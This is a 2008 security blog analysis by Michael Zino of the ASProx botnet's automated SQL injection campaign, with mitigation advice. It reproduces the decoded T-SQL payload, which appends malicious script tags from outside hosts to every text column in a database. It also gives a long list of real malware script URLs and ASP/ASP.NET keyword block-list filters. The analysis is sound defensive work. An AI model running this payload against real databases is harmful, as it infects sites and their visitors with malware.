Sunday, January 4, 2009

ASCII Encoded/Binary String Automated SQL Injection Attack

ASCII Encoded/Binary String Automated SQL Injection Attack
Michael Zino — May 1, 2008 (Updated: July 24, 2008)

Table of Contents
Introduction
Attack Description
Solutions

Introduction
Research, as well as Google's Cache, indicates that there is a significant number of websites that are still vulnerable to SQL Injection attacks. Despite the fact that input filtering techniques and other protective measures are widely known, it is understandable why this is still the case. Regardless of their underlying technology, it often would be almost impractical to review out dated and/or poorly written websites and eliminate all vulnerabilities in their code bases. Such websites typically use the dynamic construction of ad-hoc SQL queries at run-time quite extensively. Even if a given website is less vulnerable, unintentionally missing even a single security hole could be sufficient to permit a successful SQL Injection attack. Such holes can be easily found during the "study" phase of the site (for example, by crawling the site in question and looking for vulnerable web pages).

Regardless of the complexity and costs involved, a publisher has a responsibility to shield his website from the risk of infection and becoming a virus distributing agent. Publishers of any size must protect their sites' visitors from exposure to malicious scripts at all times.

Financial benefits, such as click-fraud, ad revenue generating zombies, and virtual assets, are generally the driving force behind these types of attacks, as research suggests. However, this can be prevented by use of secure programming and best practices. Ongoing monitoring, detection, and pro-active defensive methods should be utilized within the various layers of any web application.



Attack Description
Recently, we came across a particularly interesting type of SQL Injection that, at times, can be quite difficult to clean, even with the most robust database backup and recovery scheme. This massive and ongoing attack is conducted with the help of an Internet robot—also known as malbot and botnet—which attacks its prospects daily. It is likely that such a botnet fires the series of injection attempts continuously and conditionally until the malicious script references are sensed on the targeted web pages and/or based on detected vulnerability indicators.

The botnet behind this attack, called ASProx, was previously associated with Phishing attacks, and is now indirectly pushing malware through websites that are vulnerable to SQL Injection. The attackers have designed the Asprox botnet to conduct, with the help of Google search engine, an initial research for web pages utilizing ASP (.asp), ASP.NET (.aspx), and PHP (.php) web technologies. The ASProx botnet also utilizes a DNS Fast-Fluxing technique to hide the actual malware delivery sites behind an ever-changing network of compromised hosts acting as proxies. The botnet's infrastructure grows steadily, and our own attack sample indicates it exceeds 49,065 distinct and recurring IP addresses to date.

There is nothing new in the way that the following T-SQL is injected. Yet, the generic nature of the script is somewhat interesting to see.

The following three variants have been injected through an HTTP GET:

';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x44004500 ... 06F007200%20AS%20NVARCHAR(4000));EXEC(@S);--

;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C ... 736F7220%20AS%20VARCHAR(4000));EXEC(@S);--

';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C ... 72736F72%20AS%20CHAR(4000));EXEC(@S);

And in a more readable form:

DECLARE @S NVARCHAR(4000)
SET @S=CAST(0x4400450043004C00 ... 6F007200 AS NVARCHAR(4000))
EXEC(@S)

DECLARE @S VARCHAR(4000)
SET @S=CAST(0x4445434C41524520 ... 736F7220 AS VARCHAR(4000))
EXEC(@S)

DECLARE @S CHAR(4000)
SET @S=CAST(0x4445434C41524520 ... 736F7220 AS CHAR(4000))
EXEC(@S)

Note that the footprint of the second T-SQL script variant has been significantly decreased by use of ASCII-encoded binary stream instead of a Unicode-encoded binary stream, making its length a widely compatible query component. Although the third variant could possibly have a smaller footprint as well, it uses a slightly different T-SQL script as will be described below. All three variants are currently in use.

Decoding the binary string to its textual form reveals the T-SQL script below, which has been slightly formatted and edited for purposes of clarity. For those who are not proficient in the syntax, the script simply creates a cursor through which it browses for all columns of certain data types (textual) in all user-defined tables underlying the database. Next, the T-SQL script affixes a JavaScript reference (to the malicious script) to the current values contained in each such column.

Since a single page request to which the malicious T-SQL script is appended forces the scanning (and overloading) of the entire database in an effort to widely contaminate its text-based content with malicious script references, simultaneous attacks from the same or synchronized servers (or zombies) have the potential to escalate the original attack vector into a distributed denial of service (also known as DDoS). The response time to the malicious page request can alone be used as an indication of vulnerability to SQL injection, eliminating the need of a study phase prior to attack.
DECLARE @T VARCHAR(255)
DECLARE @C VARCHAR(255)

DECLARE Table_Cursor CURSOR FOR
SELECT [A].[Name], [B].[Name]
FROM sysobjects AS [A], syscolumns AS [B]
WHERE [A].[ID] = [B].[ID] AND
[A].[XType] = 'U' /* Table (User-Defined) */ AND
([B].[XType] = 99 /* NTEXT */ OR
[B].[XType] = 35 /* TEXT */ OR
[B].[XType] = 231 /* NVARCHAR */ OR
[B].[XType] = 167 /* VARCHAR */)

OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE (@@FETCH_STATUS = 0)
BEGIN
EXEC('UPDATE [' + @T + '] SET [' + @C + '] = RTRIM(CONVERT(VARCHAR, [' + @C + '])) + ''<script src="http://winzipices.cn/2.js"></script>''')
FETCH NEXT FROM Table_Cursor INTO @T, @C
END

CLOSE Table_Cursor
DEALLOCATE Table_Cursor

The third T-SQL variant varies as follows:

...
WHILE (@@FETCH_STATUS = 0)
BEGIN
EXEC('UPDATE [' + @T + '] SET [' + @C + ']=[' + @C + ']+''"></title><script src="http://abc.verynx.cn/w.js"></script><!--'' where ' + @C + ' not like ''%"></title><script src="http://abc.verynx.cn/w.js"></script><!--''')
FETCH NEXT FROM Table_Cursor INTO @T, @C
END
...

While the previous T-SQL script was "blindly" appending the malicious script references to the current value of any given column entry, this T-SQL script first verifies that the current entry has not been contaminated by prior attacks, preventing excessive repetition of the same malicious script reference. Additionally, the T-SQL script terminates enclosing <title> HTML tag in order to ensure immediate download and execution of the maliciously injected Javascript code. This approach specifically targets web pages that dynamically populate their title tag from the database. Finally, the T-SQL terminates the injection with a comment declaration "<!--", intentionally trying to hide or prevent the rendering of the HTML content to follow.

The following table lists the references to malicious scripts detected and reported to date:
Collapse/Expand Table
Most Recent
Date Monitored Script Reference
11/26/2008 http://e.nuclear3.com/bbs/ad/e.js
11/26/2008 http://e.nuclear3.com/bbs/ad/e.js
11/25/2008 http://c.8e9.net/bbs/ad/en.js
11/24/2008 http://www.ko113.cn/a.js
11/22/2008 http://c.8e9.net/bbs/ad/ko.js
11/22/2008 http://c.8e9.net/bbs/ad/ja.js
11/13/2008 http://www.wakasa.or.jp/
11/12/2008 http://www.wakasa.or.jp
11/12/2008 http://www.wakasa.or.jp/rec_new.html
11/12/2008 http://hi.baidu.com/anubisheihei
11/9/2008 http://www.berjke.ru/script.js
11/6/2008 http://www.ko118.cn/a.js
10/25/2008 http://www2.s800qn.cn/csrss/w.js
10/25/2008 http://www2.s800qn.cn/csrss/w.js
10/24/2008 http://www.81dns.ru/script.js
10/14/2008 http://www.lang42.ru/script.js
10/10/2008 http://www.deryv.ru/script.js
10/9/2008 http://www3.ss11qn.cn/csrss/new.htm
10/3/2008 http://sdo.1000mg.cn/csrss/w.js
10/2/2008 http://www3.ss11qn.cn/csrss/w.js
9/29/2008 http://www.ctiry.ru/script.js
9/25/2008 http://www.mentoe.ru/script.js
9/25/2008 http://www.xenbv.ru/script.js
9/25/2008 http://www.pormce.ru/script.js
9/25/2008 http://www.mheop.ru/script.js
9/25/2008 http://www.vtg43.ru/script.js
9/25/2008 http://www.mnicbre.ru/script.js
9/25/2008 http://www.pkseio.ru/script.js
9/25/2008 http://www.mnbenio.ru/script.js
9/19/2008 http://www0.douhunqn.cn/csrss/w.js
9/17/2008 http://www.22net.ru/script.js
9/17/2008 http://www.sel92.ru/script.js
9/17/2008 http://www.fst9.ru/script.js
9/17/2008 http://www.92prt.ru/script.js
9/17/2008 http://www.asl39.ru/script.js
9/17/2008 http://www.acr34.ru/script.js
9/17/2008 http://www.64asp.ru/script.js
9/14/2008 http://www.51com.ru/script.js
9/14/2008 http://www.4net9.ru/script.js
9/10/2008 http://www.net83.ru/script.js
9/10/2008 http://www.jic2.ru/script.js
9/10/2008 http://www.64do.com/script.js
9/10/2008 http://www.24aspx.com/script.js
9/10/2008 http://www.aspx46.com/script.js
9/10/2008 http://www.19ssl.net/script.js
9/3/2008 http://www.cg33.ru/script.js
9/3/2008 http://www.mc2n.ru/script.js
9/3/2008 http://www.cv32.ru/script.js
9/3/2008 http://www.vswc.ru/script.js
9/3/2008 http://www.mj5f.ru/script.js
9/3/2008 http://www.2b24.ru/script.js
9/3/2008 http://www.oc32.ru/script.js
9/3/2008 http://www.cv2e.ru/script.js
8/29/2008 http://www.port04.ru/script.js
8/29/2008 http://www.vj64.ru/script.js
8/29/2008 http://www.nucop.ru/script.js
8/29/2008 http://www.iopoe.ru/script.js
8/29/2008 http://www.iopc4.ru/script.js
8/29/2008 http://www.loopk.ru/script.js
8/29/2008 http://www.netr2.ru/script.js
8/29/2008 http://www.jetp6.ru/script.js
8/29/2008 http://www.beyry.ru/script.js
8/29/2008 http://www.ueur3.ru/script.js
8/25/2008 http://www.dfbox.com.cn/ydfq/ydfq.js
8/23/2008 http://www.mm117.cn/k.js
8/22/2008 http://www.bearcat.net.cn/w/flash.js
8/21/2008 http://www.nbh3.ru/script.js
8/21/2008 http://www.cb3f.ru/script.js
8/21/2008 http://www.juc8.ru/script.js
8/21/2008 http://www.bcus2.ru/script.js
8/21/2008 http://www.3njx.ru/script.js
8/21/2008 http://www.cnld.ru/script.js
8/21/2008 http://www.okcd.ru/script.js
8/21/2008 http://www.locm.ru/script.js
8/20/2008 http://www2.1000ylc.cn/csrss/w.js
8/20/2008 http://www3.800mg.cn/csrss/w.js
8/20/2008 http://www.cb3f.ru/js.js
8/20/2008 http://www.juc8.ru/js.js
8/20/2008 http://www.bcus2.ru/js.js
8/20/2008 http://www.nbh3.ru/js.js
8/20/2008 http://www.locm.ru/js.js
8/20/2008 http://www.3njx.ru/js.js
8/20/2008 http://www.jkn3.ru/js.js
8/20/2008 http://www.okcd.ru/js.js
8/20/2008 http://www.cnld.ru/js.js
8/20/2008 http://www.ujnc.ru/js.js
8/13/2008 http://www.ibse.ru/js.js
8/13/2008 http://www.bywd.ru/js.js
8/13/2008 http://www.porv.ru/js.js
8/13/2008 http://www.ojns.ru/js.js
8/13/2008 http://www.98hs.ru/js.js
8/13/2008 http://www.nwj4.ru/js.js
8/13/2008 http://www.uhwc.ru/js.js
8/13/2008 http://jjmaoduo2.3322.org/csrss/w.js
8/13/2008 http://www.ncbw.ru/js.js
8/13/2008 http://www.8hcs.ru/js.js
8/12/2008 http://www.bgsr.ru/js.js
8/12/2008 http://www.bluexzz.cn/g.js
8/11/2008 http://jjmaoduo.3322.org/csrss/w.js
8/8/2008 http://shygddc.cn/tj.js
8/7/2008 http://jjmaobuduo.3322.org/csrss/w.js
8/4/2008 http://i8jdd.cn/q.js
8/4/2008 http://i8jdd.cn/q.js
8/4/2008 http://www.ba1do.com/css.js
8/3/2008 http://mo98g.cn/q.js
8/2/2008 http://abc.verynx.cn/w.js
8/1/2008 http://www.bosf.ru/js.js
8/1/2008 http://www.bnsr.ru/js.js
8/1/2008 http://www.ch35.ru/js.js
8/1/2008 http://www.jve4.ru/js.js
8/1/2008 http://www.nmr43.ru/js.js
8/1/2008 http://www.bce8.ru/js.js
8/1/2008 http://www.ncwc.ru/js.js
8/1/2008 http://www.njep.ru/js.js
8/1/2008 http://www.bjxt.ru/js.js
8/1/2008 http://www.b4so.ru/js.js
8/1/2008 http://www.kj5s.ru/js.js
8/1/2008 http://www.oics.ru/js.js
8/1/2008 http://www.po4c.ru/js.js
8/1/2008 http://www.kjwd.ru/js.js
8/1/2008 http://www.bsko.ru/js.js
7/31/2008 http://www.pfd2.ru/js.js
7/31/2008 http://www.iroe.ru/js.js
7/31/2008 http://www.gty5.ru/js.js
7/31/2008 http://www.kpo3.ru/js.js
7/31/2008 http://www.ncb2.ru/js.js
7/31/2008 http://www.kr92.ru/js.js
7/30/2008 http://www.worldofwarcrokft.com/jj.js
7/30/2008 http://www.nemr.ru/js.js
7/29/2008 http://www.po4c.ru/ngg.js
7/29/2008 http://www.nmr43.ru/ngg.js
7/29/2008 http://www.oics.ru/ngg.js
7/29/2008 http://www.bce8.ru/ngg.js
7/29/2008 http://www.bjxt.ru/ngg.js
7/29/2008 http://www.kj5s.ru/ngg.js
7/29/2008 http://www.jve4.ru/ngg.js
7/29/2008 http://www.kpo3.ru/ngg.js
7/29/2008 http://www.kr92.ru/ngg.js
7/29/2008 http://www.nemr.ru/ngg.js
7/29/2008 http://www.bsko.ru/ngg.js
7/29/2008 http://www.ch35.ru/ngg.js
7/29/2008 http://www.ncwc.ru/ngg.js
7/29/2008 http://www.ncb2.ru/ngg.js
7/29/2008 http://www.iroe.ru/ngg.js
7/29/2008 http://www.njep.ru/ngg.js
7/29/2008 http://www.gty5.ru/ngg.js
7/29/2008 http://www.pfd2.ru/ngg.js
7/29/2008 http://www.bnsr.ru/ngg.js
7/29/2008 http://www.kjwd.ru/ngg.js
7/29/2008 http://www.bosf.ru/ngg.js
7/29/2008 http://www.b4so.ru/ngg.js
7/26/2008 http://mo98g.cn/1.js
7/26/2008 http://www.kodj.ru/ngg.js
7/26/2008 http://www.o1o2qq.cn/ri.js
7/24/2008 http://www.o1o2qq.cn/k.js
7/24/2008 http://1.verynx.cn/w.js
7/24/2008 http://www.cgt4.ru/ngg.js
7/24/2008 http://www.kgj3.ru/ngg.js
7/24/2008 http://www.cvsr.ru/ngg.js
7/24/2008 http://www.bts5.ru/ngg.js
7/24/2008 http://www.lksr.ru/ngg.js
7/24/2008 http://www.9jsr.ru/ngg.js
7/24/2008 http://www.4cnw.ru/ngg.js
7/24/2008 http://www.4vrs.ru/ngg.js
7/24/2008 http://www.chds.ru/ngg.js
7/24/2008 http://www.d5sg.ru/ngg.js
7/24/2008 http://www.gb53.ru/ngg.js
7/24/2008 http://www.kc43.ru/ngg.js
7/24/2008 http://www.jex5.ru/ngg.js
7/24/2008 http://www.h23f.ru/ngg.js
7/24/2008 http://www.keje.ru/ngg.js
7/24/2008 http://www.jvke.ru/ngg.js
7/24/2008 http://www.90mc.ru/ngg.js
7/24/2008 http://www.5kc3.ru/ngg.js
7/24/2008 http://www.ecx2.ru/ngg.js
7/24/2008 http://www.lkc2.ru/ngg.js
7/24/2008 http://www.keec.ru/ngg.js
7/22/2008 http://www.adwbn.ru/ngg.js
7/22/2008 http://www.adwr.ru/ngg.js
7/22/2008 http://www.rrcs.ru/ngg.js
7/22/2008 http://www.sslwer.ru/ngg.js
7/22/2008 http://www.lodse.ru/ngg.js
7/22/2008 http://www.bnrc.ru/ngg.js
7/22/2008 http://www.vcre.ru/ngg.js
7/22/2008 http://www.iogp.ru/ngg.js
7/22/2008 http://www.nudk.ru/ngg.js
7/22/2008 http://www.sdkj.ru/ngg.js
7/19/2008 http://www.wowofmusiopl.com.cn/456.js
7/19/2008 http://www.btoperc.ru/ngg.js
7/19/2008 http://www.gbradde.tk/ngg.js
7/19/2008 http://www.korfd.ru/ngg.js
7/19/2008 http://www.movaddw.com/ngg.js
7/19/2008 http://www.usabnr.com/ngg.js
7/19/2008 http://www.ausbnr.com/ngg.js
7/19/2008 http://www.adwnetw.com/ngg.js
7/19/2008 http://www.grtsel.ru/ngg.js
7/19/2008 http://www.cdrpoex.com/ngg.js
7/19/2008 http://www.tctcow.com/ngg.js
7/19/2008 http://www.adpzo.com/ngg.js
7/19/2008 http://www.brcporb.ru/ngg.js
7/18/2008 http://www.hiwowpp.cn/ri.js
7/17/2008 http://www.rcdplc.ru/ngg.js
7/17/2008 http://www.maigol.cn/ri.js
7/17/2008 http://www.j8heisi.cn/ri.js
7/16/2008 http://www.cdport.eu/ngg.js
7/16/2008 http://www.bkpadd.mobi/ngg.js
7/16/2008 http://www.pyttco.com/ngg.js
7/16/2008 http://www.butdrv.com/ngg.js
7/16/2008 http://www.gitporg.com/ngg.js
7/16/2008 http://www.cliprts.com/ngg.js
7/16/2008 http://www.nopcls.com/ngg.js
7/16/2008 http://www.loopadd.com/ngg.js
7/16/2008 http://www.tertad.mobi/ngg.js
7/16/2008 http://www.destad.mobi/ngg.js
7/15/2008 http://www.porttw.mobi/ngg.js
7/15/2008 http://www.bnsdrv.com/ngg.js
7/15/2008 http://www.hdrcom.com/ngg.js
7/15/2008 http://www.addrl.com/ngg.js
7/14/2008 http://www.usaadp.com/ngg.js
7/14/2008 http://www.gbradp.com/ngg.js
7/14/2008 http://www.gbradw.com/ngg.js
7/14/2008 http://www.drvadw.com/ngg.js
7/14/2008 http://www.crtbond.com/ngg.js
7/14/2008 http://www.usaadw.com/ngg.js
7/11/2008 http://www.destbnp.com/ngg.js
7/10/2008 http://www.ausadd.com/ngg.js
7/9/2008 http://www.attadd.com/ngg.js
7/8/2008 http://www.allocbn.mobi/ngg.js
7/8/2008 http://www.catdbw.mobi/ngg.js
7/8/2008 http://www.asslad.com/ngg.js
7/8/2008 http://www.browsad.com/ngg.js
7/8/2008 http://www.bnrbase.com/ngg.js
7/8/2008 http://www.brsadd.com/ngg.js
7/8/2008 http://www.bnrbtch.com/ngg.js
7/8/2008 http://www.loctenv.com/ngg.js
7/8/2008 http://www.appdad.com/ngg.js
7/8/2008 http://www.apidad.com/ngg.js
7/8/2008 http://www.asodbr.com/ngg.js
7/8/2008 http://www.bnradd.mobi/ngg.js
7/8/2008 http://www.dbgbron.com/ngg.js
7/8/2008 http://www.adwadb.mobi/ngg.js
7/8/2008 http://www.blcadw.com/ngg.js
7/8/2008 http://www.portadrd.com/ngg.js
7/8/2008 http://www.blockkd.com/ngg.js
7/8/2008 http://www.clrbbd.com/ngg.js
7/7/2008 http://www.adbtch.com/ngg.js
7/7/2008 http://www.lokriet.com/ngg.js
7/7/2008 http://www.ucomddv.com/ngg.js
7/7/2008 http://www.bnrbasead.com/ngg.js
7/7/2008 http://www.aladbnr.com/ngg.js
7/7/2008 http://www.hiwowpp.cn/k.js
7/7/2008 http://www.mainbvd.com/ngg.js
7/7/2008 http://www.mainadt.com/ngg.js
7/7/2008 http://www.stiwdd.com/ngg.js
7/7/2008 http://www.upcomd.com/ngg.js
7/7/2008 http://www.portwbr.com/ngg.js
7/7/2008 http://www.testwvr.com/ngg.js
7/7/2008 http://www.ktrcom.com/ngg.js
7/7/2008 http://www.canclvr.com/ngg.js
7/4/2008 http://www.loveqianlai.cn/ri.js
7/3/2008 http://www.maigol.cn/k.js
7/3/2008 http://www.qqcc123.cn/ri.js
7/2/2008 http://www.qqcc123.cn/k.js
7/2/2008 http://www.debug73.com/ngg.js
7/2/2008 http://www.cont67.com/ngg.js
7/2/2008 http://www.config73.com/ngg.js
7/2/2008 http://www.default37.com/ngg.js
7/2/2008 http://www.cntrl62.com/ngg.js
7/2/2008 http://www.config73.com/b.js
7/2/2008 http://www.default37.com/b.js
7/2/2008 http://www.csl24.com/b.js
7/2/2008 http://www.cont67.com/b.js
7/2/2008 http://www.cntrl62.com/b.js
7/2/2008 http://www.get49.net/b.js
7/2/2008 http://www.web923.com/b.js
7/2/2008 http://www.debug73.com/b.js
7/2/2008 http://www.pid76.net/b.js
7/2/2008 http://www.adwste.mobi/b.js
7/2/2008 http://www.pid72.com/b.js
7/2/2008 http://www.adupd.mobi/b.js
7/2/2008 http://www.bnrupdate.mobi/b.js
7/2/2008 http://www.qq117cc.cn/ri.js
7/2/2008 http://www.qq117cc.cn/k.js
7/1/2008 http://www.suppadw.com/b.js
7/1/2008 http://www.supbnr.com/b.js
7/1/2008 http://www.hdadwcd.com/b.js
7/1/2008 http://www.kadport.com/b.js
6/30/2008 http://www.adwsupp.com/b.js
6/28/2008 http://www.hlpgetw.com/b.js
6/28/2008 http://www.lang34.com/b.js
6/28/2008 http://www.dl251.com/b.js
6/28/2008 http://www.tid62.com/b.js
6/28/2008 http://www.rid34.com/b.js
6/27/2008 http://www.bin963.com/b.js
6/27/2008 http://www.base48.com/b.js
6/27/2008 http://www.appid37.com/b.js
6/27/2008 http://www.apps84.com/b.js
6/27/2008 http://www.aspx49.com/b.js
6/27/2008 http://www.app52.com/b.js
6/27/2008 http://www.aspssl63.com/b.js
6/27/2008 http://www.batch29.com/b.js
6/26/2008 http://www.j8j8hei.cn/k.js
6/26/2008 http://www.heiheinn.cn/k.js
6/26/2008 http://www.bios47.com/b.js
6/26/2008 http://www.asp707.com/b.js
6/26/2008 http://www.dbupdr.com/b.js
6/26/2008 http://www.cid26.com/b.js
6/26/2008 http://www.st212.com/b.js
6/26/2008 http://www.getbwd.com/b.js
6/25/2008 http://www.westpacsecuresite.com/b.js
6/25/2008 http://www.update34.com/b.js
6/25/2008 http://www.bnradw.com/b.js
6/25/2008 http://www.pingadw.com/b.js
6/25/2008 http://www.pingbnr.com/b.js
6/24/2008 http://www.coldwop.com/b.js
6/24/2008 http://www.alzhead.com/b.js
6/24/2008 http://www.chkbnr.com/b.js
6/24/2008 http://www.chinabnr.com/b.js
6/24/2008 http://www.adwbnr.com/b.js
6/24/2008 http://www.chkadw.com/b.js
6/22/2008 http://www.heiheinn.cn/k.js
6/16/2008 http://www.heihei117.cn/k.js
6/16/2008 http://www.heihei117.cn.js
6/13/2008 http://www.fengnima.cn/k.js
6/13/2008 http://www.killpp.cn/k.js
6/10/2008 http://www.fengnima.cn/m.js
6/7/2008 http://www.killpp.cn/m.js
6/7/2008 http://www.qiqicc.cn/m.js
6/6/2008 http://www.nihao112.com/m.js
6/5/2008 http://o7n9.cn/a.js
6/2/2008 http://www.dota11.cn/m.js
5/24/2008 http://9i5t.cn/a.js

Analyzing the pattern above, it is quite obvious that this attack is carefully crafted and fully managed. New malware domains are introduced daily, while others are excluded, probably based on declining success metrics as anti-virus and related software and hardware vendors are updating their databases and blacklisting newly detected domains.

This T-SQL script—carried by a single malicious request to a website that is vulnerable to SQL Injection—results in content contamination of the entire site with Persistent/Type 2 Cross-Site Scripting (XSS) exploit. The injected Javascript dynamically writes an invisible IFRAME HTML tag to the involuntarily hosting page, pointing to the actual web page that contains different malicious content in an effort to exploit current software configuration vulnerabilities of the end-user’s machine (and to further empower the botnet). Ironically, the botnet masters explicitly express cyber-crime sympathy or sort of patriotism by excluding all end-users with the following language preferences set in their browser—Russian (RU), Chinese (ZH-CN, ZH-TW, ZH), Korean (KO), Hindi (HI), Thai (TH), and Vietnamese (VI)—as the ngg.js script suggests. (Note that there is also another similar variant of this JS file—fgg.js—prefixed with some of the malware domains listed above.)

The end result (for the infected system) is a malware executable with the file name msscntr32.exe, that is installed as a system service with the name "Microsoft Security Center Extension."
Solutions: How To Immune Your Web Application and Database From Such Automated SQL Injection Attacks

Our attack sample indicates that the botnet zombies cover the entire globe and therefore, an IP-based filtering solution that excludes certain regions will not suffice by itself. Still in the networking-layer, an Intrusion Prevention System (IPS), be it hardware or software based, can make access control decisions based on sensed content and drop the malicious request and other potential malicious activity before it is passed to the web server. A software-based IPS can, for example (but not limited to), provide protection via integration with the IIS platform as an ISAPI filter.

If the web application being attacked is templated, or the underlying web technology is configurable and/or extensible and allows participation in the page processing, it is possible to detect the injected malicious T-SQL script during early stages of the page processing and force an exception at that point. Because such a solution is centralized, it is manageable and will prevent the malicious T-SQL from being propagated to an ad-hoc SQL query down the queue of the page request processing. This effectively stops this attack vector "at the gate." The following ASP 3.0/VB and ASP.NET/C# code snippets demonstrate this (imperfect) Quick & Dirty approach:

<%
Dim strQuery

strQuery = UCase(Request.ServerVariables("QUERY_STRING"))
strQuery = Replace(URLDecode(strQuery), " ", "")

If InStr(strQuery,"EXEC(") > 0 OR _
InStr(strQuery,"SELECT") > 0 OR _
InStr(strQuery,"INSERT") > 0 OR _
InStr(strQuery,"UPDATE") > 0 OR _
InStr(strQuery,"DELETE") > 0 OR _
Len(strQuery) > 500 Then
Response.Write 1/0
End If
%>



/// <summary>
/// global.asax
/// </summary>
public class Global : System.Web.HttpApplication
{
...
private static string[] SQLKeywords = new string[]
{
"EXEC", "SELECT", "INSERT", "UPDATE", "DELETE",
"CAST", "DECLARE", "NVARCHAR", "VARCHAR"
};
...
protected void Application_BeginRequest(object sender, EventArgs e)
{
HttpContext context = HttpContext.Current;
if (context != null)
{
string queryString =
context.Request.ServerVariables["QUERY_STRING"];
if (string.IsNullOrEmpty(queryString) == false)
{
if (queryString.Length > 500)
throw new SQLInjectionException(string.Format("Unexpected 'QUERY_STRING' length ({0}).", queryString));

queryString = Server.UrlDecode(queryString);
queryString =
queryString.Replace(" ", string.Empty).ToUpper();

foreach (string keyword in SQLKeywords)
{
if (queryString.IndexOf(keyword) != (-1))
throw new SQLInjectionException(string.Format("Unexpected T-SQL keyword ('{0}') has been detected ({1})", keyword, queryString));
}
}
}
}
...
}


You can then utilize the error handling mechanism of each technology to further process the thrown exception. The second code snippet demonstrates the detection of additional most common T-SQL keywords.

This SQL injection sanitation technique can also be implemented using an ASP.NET HTTP Handler (IHttpHandler) that is "plugged-in" to the site's page processing queue by modifying the site's configuration file alone (web.config). Additionally, form variables (HTTP POST) and other types of input (i.e., cookies) can furthermore be scanned and validated against similar injection attempts.

Although the solutions listed above do have the capability to block and mitigate this type of attack, they do not aim to solve the root cause of the problem, but to provide you with a way to shield your website almost instantly. Yet, penetration testing and code base auditing are inevitable and necessary steps to diminish the effectiveness of SQL injection attacks. Microsoft Source Code Analyzer for SQL Injection (MSCASI) is a static code analysis tool for finding SQL Injection vulnerabilities in ASP code. (This tool requires access to the ASP code base and can help identify code paths that are vulnerable to SQL Injection.) Another useful tool that can aid in identifying vulnerabilities is the Scrawlr. The Scrawlr was developed by HP Web Security Research Group in coordination with Microsoft Security Response Center (MSRC). Scrawlr will crawl a website while simultaneously analyzing the parameters of each individual web page for SQL Injection vulnerabilities.

Generally speaking, it is best to pursue a multi-layered security approach. Therefore, shielding the underlying database itself is also an essential measure to be taken, regardless of the current security level of the web application. Configuring a low-privileged database security context (for the web application accessing the database), and URL filtering (as a fallback) with the help of FOR UPDATE T-SQL triggers (or CLR DML triggers) are two ways in which a database can be immunized from malicious content.

Michael Zino is the CEO of Bloombit Software Inc.

No comments: